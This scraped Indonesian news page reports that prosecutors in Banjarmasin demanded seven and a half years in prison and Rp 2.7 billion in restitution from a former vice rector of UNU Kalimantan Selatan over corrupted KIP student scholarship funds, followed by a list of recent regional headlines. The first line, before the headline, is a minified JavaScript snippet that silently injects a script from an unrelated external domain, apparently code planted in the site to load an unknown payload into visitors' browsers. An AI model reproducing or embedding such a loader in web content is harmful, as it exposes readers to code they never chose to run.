(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Korupsi Dana KIP Mahasiswa, Eks Wakil Rektor UNU Kalsel Dituntut 7,5 Tahun Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Wakil Rektor Universitas Nahdlatul Ulama (UNU) Kalimantan Selatan (Kalsel) Rif’atul Hidayat menjalani sidang tuntutan di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Rabu (10/5/2023) siang.

Terdakwa kasus korupsi dana beasiswa KIP (Kartu Indonesia Pintar) mahasiswa UNU Kalsel ini hadir langsung dipersidangan dengan mengenakan baju berwana putih berpeci hitam, sebagian wajah tertutup masker.

Dalam tuntutan, Jaksa Penuntut Umum (JPU) dari Kejari Banjar menuntut terdakwa Rif’atul Hidayat ini dengan pidana penjara selama 7 tahun 6 bulan.

“Menuntut terdakwa Rif’atul Hidayat dengan pidana 7 tahun dan 6 bulan penjara dikurangi masa tahanan, dan denda Rp 300 juta subsider 3 bulan penjara,” kata JPU Setyo.

Baca juga: Aksi Bejat Sejak 2015, Ayah Setubuhi Anak di Banjarmasin Mendekam di Bui

Selain itu, terdakwa mantan Wakil Rektor UNU Kalsel Bidang Akademik dan Penelitian ini juga dituntut untuk mengganti kerugian negara sebesar Rp 2,7 miliar, dengan ketentuan apabila tidak dapat membayar maka harta bendanya akan disita dan dilelang oleh jaksa untuk menutupi uang ganti rugi.

“Apabila harta bendanya yang dilelang tidak cukup maka diganti dengan pidana selama 3 tahun dan 9 bulan penjara,” ucap Setyo di hadapan majelis hakim yang diketuai Jamser Simanjuntak.

Adapun pertimbangan yang memberatkan terdakwa menurut JPU yaitu karena Rif’atul Hidayat tidak mendukung program pemerintah dalam pemberantasan tindak pidana korupsi.

Dalam tuntutan, Setyo juga mengatakan tidak ada alasan pembenar ataupun pemaaf terhadap perbuatan terdakwa tersebut.

Sementara itu, hal yang meringankan disebutkan hanya satu yaitu dikarenakan sebelumnya terdakwa belum pernah dihukum atau dipidana.

Baca juga: Dua Kali Sidang Tuntutan Kasus Korupsi KONI Banjarbaru Ditunda, JPU Belum Siap

Sebelumnya, Rif’atul Hidayat didakwa JPU telah melakukan tindak pidana korupsi dana beasiswa KIP mahasiswa UNU Kalsel sebesar Rp 2,7 miliar.

Ia didakwa dengan Pasal 2 ayat (1) Jo Pasal 18 Undang-nndang Nomor 31 Tahun 1999 tentang Tindak Pidana Korupsi sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Sedangkan dakwaan subsider yaitu Pasal 3 Jo Pasal 17 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dan ditambah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Setelah pembacaan tuntutan, terdakwa Rif’atul Hidayat melalui kuasa hukumnya yang hadir dipersidangan mengatakan akan menyiapkan pledoi (pembelaan) untuk melawan tuntutan JPU tersebut.

“Menurut kami tuntutan tidak berdasarkan fakta dipersidangan, maka kami akan mengajukan pledoi,” kata penasehat hukum terdakwa.

Sidang akan kembali digelar satu Minggu kedpaan pada Rabu (17/5/2023) mendatang dengan agenda pembelaan dari penasehat hukum dan terdakwa Rif’atul Hidayat.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

15 menit ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

2 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

3 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Ciptaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

5 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

7 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

7 jam ago

This website uses cookies.